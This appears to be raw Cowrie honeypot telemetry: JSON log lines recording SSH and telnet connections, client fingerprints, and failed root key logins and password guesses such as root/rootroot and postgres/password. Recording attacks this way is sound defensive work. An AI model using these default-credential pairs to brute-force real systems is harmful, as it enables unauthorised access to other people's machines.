{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:74:65:4d:e8:19:1f:3a:cc:be:6f:39:4a:5e:17:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6EBtNv42TRsu8SoTOHyqbJWRdUAINFTF4PcgxpiaWxKEhiTBQ1hRDSvtv5p+Zhh6GhNoOYGs6tyYVt5HcvWRMLZiNOjBdsZDAY3Q5qj+du0aXiMGAKpQSBPU1pW9fymNjhmjcbWUuav0l0elIHggI2DBT4Iw5j9oHuaSVtIKWg/A87EjxU9H/6CWCtB+RRTjCq3/i1q39St2hfKcE3MAAiZVjqOlIgBGgs5c99wCJ+QpEgi/+gzlu+kvXEu5+mF9yEgi8vNfQnZgCgqcrBPWYq5mS3dcKIQ/pkI4q2xqrg9kpiT5K8foPtpaEQYcpc7jeipuHE4FMfK7oca7g07/B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:10.573854Z","src_ip":"208.87.242.107","session":"10467857ca66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:2f:63:63:99:5c:32:71:85:4c:d1:00:4b:d2:8d:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2qY7B3udbVLIAXizEwFfu2B08cgKenRYUc/T4DbTorHp5cXdWMWwwsyq+sNH7Sger65ezS33Svhz/jNiDtLtCF2M94EJJsxzPnhGACuUwAH54MSFWca2gnOsT3pdKqJC3sW1kI489+bC8zHseY3NtNc07acMqkcp0FCrFXVh88OjPqNdxAZg79fbyTQx+WKFx5zldYaZlDmsaHW265+3NyLBNEJ8PD6P9Xtz9wDlW8rUUcDvo+NgyEt69MQNg/sJt0vpJkom0X9N++qFyF9zfmdNWIszNCKGjRCfeLXoDYxsvKNSWYT5Eg/2ummfXvqrf+vAx8SiYwtDl8bp+lXR/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:2f:63:63:99:5c:32:71:85:4c:d1:00:4b:d2:8d:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:10.643201Z","src_ip":"208.87.242.107","session":"10467857ca66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:2f:63:63:99:5c:32:71:85:4c:d1:00:4b:d2:8d:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2qY7B3udbVLIAXizEwFfu2B08cgKenRYUc/T4DbTorHp5cXdWMWwwsyq+sNH7Sger65ezS33Svhz/jNiDtLtCF2M94EJJsxzPnhGACuUwAH54MSFWca2gnOsT3pdKqJC3sW1kI489+bC8zHseY3NtNc07acMqkcp0FCrFXVh88OjPqNdxAZg79fbyTQx+WKFx5zldYaZlDmsaHW265+3NyLBNEJ8PD6P9Xtz9wDlW8rUUcDvo+NgyEt69MQNg/sJt0vpJkom0X9N++qFyF9zfmdNWIszNCKGjRCfeLXoDYxsvKNSWYT5Eg/2ummfXvqrf+vAx8SiYwtDl8bp+lXR/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:10.646269Z","src_ip":"208.87.242.107","session":"10467857ca66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:31:e8:19:8a:b7:b3:31:88:36:fb:2d:fe:96:b5:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV9X5R3wL36teKvNthqb+4Nz+hNyt4cGJo4N/sPuDGej1FKQ5bWc4/EstxDfDgEUzGUcrdVtpkIjjLWhyh+OafbfnUXGh0hjBqm0uti7zylNQSfEfuD0qaHjnN8cxw5lUoCI8UUXYfbVjbB1y9rZbg5PESRmCdy0148p5HfnPjGG3ZLqunenXaD374RiYUpGPNltHR6q5p9djWSkxTyRwVB5gw2QIjy79za30hTNHmYVY8fNsaNkLJRMY0xb4jVqG0LGxJHrbhwsu3FVnUvQA4yTc7tlTxNwKrWwHsF4gLE9xWH63P5cv3loC2JCaTtbNV9E9uJc9ZCnd9IiAEZWnB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:31:e8:19:8a:b7:b3:31:88:36:fb:2d:fe:96:b5:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:10.719984Z","src_ip":"208.87.242.107","session":"10467857ca66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:31:e8:19:8a:b7:b3:31:88:36:fb:2d:fe:96:b5:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV9X5R3wL36teKvNthqb+4Nz+hNyt4cGJo4N/sPuDGej1FKQ5bWc4/EstxDfDgEUzGUcrdVtpkIjjLWhyh+OafbfnUXGh0hjBqm0uti7zylNQSfEfuD0qaHjnN8cxw5lUoCI8UUXYfbVjbB1y9rZbg5PESRmCdy0148p5HfnPjGG3ZLqunenXaD374RiYUpGPNltHR6q5p9djWSkxTyRwVB5gw2QIjy79za30hTNHmYVY8fNsaNkLJRMY0xb4jVqG0LGxJHrbhwsu3FVnUvQA4yTc7tlTxNwKrWwHsF4gLE9xWH63P5cv3loC2JCaTtbNV9E9uJc9ZCnd9IiAEZWnB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:10.723270Z","src_ip":"208.87.242.107","session":"10467857ca66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:b9:9e:37:c6:9f:17:86:a3:77:bb:82:55:43:e6:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqqCb3Vp/up8j9tgRxnNBc76IP1zQiyKISTyDsQbcHDq+KPnFqFVhv7LqAw38so6GjWlvXuTo+3hKbgxBrjwyNDXUpRXWBVm77VmLNb3YQioCwrA2KZ1vdLPlot051ydm9ygvgPPit+XV1OyQjaJ9CUbGOYqAZBbz535i6ZH+QI8kjazaIp0dKjPVqkPU8UF8MLoK8r5RfF41pxRznhy22cWqtHe4yUBJMLMjIgh8LZy6Id0XObIHZUFC0I75zJxhubKVTO8D0CEcBR3n0kK4j/AXOrluUwpFlOoERNu+zU5BdiFYUCO0zj5Wwhz0krmikN5c2EEPQh/oFB0t6yLzfQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:b9:9e:37:c6:9f:17:86:a3:77:bb:82:55:43:e6:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:10.793839Z","src_ip":"208.87.242.107","session":"10467857ca66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:b9:9e:37:c6:9f:17:86:a3:77:bb:82:55:43:e6:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqqCb3Vp/up8j9tgRxnNBc76IP1zQiyKISTyDsQbcHDq+KPnFqFVhv7LqAw38so6GjWlvXuTo+3hKbgxBrjwyNDXUpRXWBVm77VmLNb3YQioCwrA2KZ1vdLPlot051ydm9ygvgPPit+XV1OyQjaJ9CUbGOYqAZBbz535i6ZH+QI8kjazaIp0dKjPVqkPU8UF8MLoK8r5RfF41pxRznhy22cWqtHe4yUBJMLMjIgh8LZy6Id0XObIHZUFC0I75zJxhubKVTO8D0CEcBR3n0kK4j/AXOrluUwpFlOoERNu+zU5BdiFYUCO0zj5Wwhz0krmikN5c2EEPQh/oFB0t6yLzfQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:10.796522Z","src_ip":"208.87.242.107","session":"10467857ca66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:99:fe:a6:2d:f3:3a:a7:c5:e6:c8:94:64:5b:9b:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiWwjGs1GrzLI6IcHHPGtnnqyqUB4ciYaOE6SPlwKRJZfDI+jwgDAKfiBCL/GJ4emAqUNdmU8Gq5iw1TBrAyUqlFab+7C3BLO52hTKxtaA0h8AfzR1haFw5klzYV9/XAlb+2H2fb/LBVs8TOg+xRDvMwrVblsOU9D2m2+nA33wfwSfLaB3g7Bcb0eqRRFw/aIzP3Q4zowXTQLGE62oFq4eK5r3mpmnsQPrqxogROKQ4ToV5wCQN2wb1rFDH4d+VxqvYcvpOwTDye7cbXRr0CrGIPkCJJsHDbrDHO9rVidR4lkKxiQ3EyHFIwTkiQGt3PLhTZQF+sS75ObF/1GjcUoh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:99:fe:a6:2d:f3:3a:a7:c5:e6:c8:94:64:5b:9b:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:10.867316Z","src_ip":"208.87.242.107","session":"10467857ca66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:99:fe:a6:2d:f3:3a:a7:c5:e6:c8:94:64:5b:9b:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiWwjGs1GrzLI6IcHHPGtnnqyqUB4ciYaOE6SPlwKRJZfDI+jwgDAKfiBCL/GJ4emAqUNdmU8Gq5iw1TBrAyUqlFab+7C3BLO52hTKxtaA0h8AfzR1haFw5klzYV9/XAlb+2H2fb/LBVs8TOg+xRDvMwrVblsOU9D2m2+nA33wfwSfLaB3g7Bcb0eqRRFw/aIzP3Q4zowXTQLGE62oFq4eK5r3mpmnsQPrqxogROKQ4ToV5wCQN2wb1rFDH4d+VxqvYcvpOwTDye7cbXRr0CrGIPkCJJsHDbrDHO9rVidR4lkKxiQ3EyHFIwTkiQGt3PLhTZQF+sS75ObF/1GjcUoh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:10.870497Z","src_ip":"208.87.242.107","session":"10467857ca66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:10.942538Z","src_ip":"208.87.242.107","session":"10467857ca66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40568,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0dc866b4b91","protocol":"ssh","message":"New connection: 91.92.42.227:40568 (10.17.0.5:22) [session: d0dc866b4b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:11.448810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:11.690732Z","src_ip":"91.92.42.227","session":"d0dc866b4b91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:11.695146Z","src_ip":"91.92.42.227","session":"d0dc866b4b91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:12.702868Z","src_ip":"91.92.42.227","session":"d0dc866b4b91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:13.819569Z","src_ip":"91.92.42.227","session":"d0dc866b4b91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45502,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f853d3b8220","protocol":"ssh","message":"New connection: 91.92.42.227:45502 (10.17.0.5:22) [session: 4f853d3b8220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:18.523651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:18.559675Z","src_ip":"91.92.42.227","session":"4f853d3b8220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:18.627937Z","src_ip":"91.92.42.227","session":"4f853d3b8220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:19.389191Z","src_ip":"91.92.42.227","session":"4f853d3b8220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:20.488554Z","src_ip":"91.92.42.227","session":"4f853d3b8220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51866,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a5cafbf61a1","protocol":"telnet","message":"New connection: 128.199.8.54:51866 (159.203.135.109:23) [session: 1a5cafbf61a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:22.295477Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37512,"dst_ip":"10.17.0.5","dst_port":22,"session":"43baa0b79c9d","protocol":"ssh","message":"New connection: 91.92.42.227:37512 (10.17.0.5:22) [session: 43baa0b79c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:25.186528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:25.352342Z","src_ip":"91.92.42.227","session":"43baa0b79c9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:25.355582Z","src_ip":"91.92.42.227","session":"43baa0b79c9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:26.204316Z","src_ip":"91.92.42.227","session":"43baa0b79c9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:27.584358Z","src_ip":"91.92.42.227","session":"43baa0b79c9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37580,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fce981d7986","protocol":"ssh","message":"New connection: 91.92.42.227:37580 (10.17.0.5:22) [session: 3fce981d7986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:31.951212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:32.208384Z","src_ip":"91.92.42.227","session":"3fce981d7986","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:32.211770Z","src_ip":"91.92.42.227","session":"3fce981d7986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:33.862841Z","src_ip":"91.92.42.227","session":"3fce981d7986","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:35.785793Z","src_ip":"91.92.42.227","session":"3fce981d7986","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50090,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c4de812bda8","protocol":"ssh","message":"New connection: 91.92.42.227:50090 (10.17.0.5:22) [session: 4c4de812bda8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:38.330511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:38.727944Z","src_ip":"91.92.42.227","session":"4c4de812bda8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:38.731166Z","src_ip":"91.92.42.227","session":"4c4de812bda8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:41.185749Z","src_ip":"91.92.42.227","session":"4c4de812bda8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:42.752330Z","src_ip":"91.92.42.227","session":"4c4de812bda8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48856,"dst_ip":"10.17.0.5","dst_port":22,"session":"f69cf93df48a","protocol":"ssh","message":"New connection: 91.92.42.227:48856 (10.17.0.5:22) [session: f69cf93df48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:45.165365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:45.841511Z","src_ip":"91.92.42.227","session":"f69cf93df48a","protocol":"ssh"}
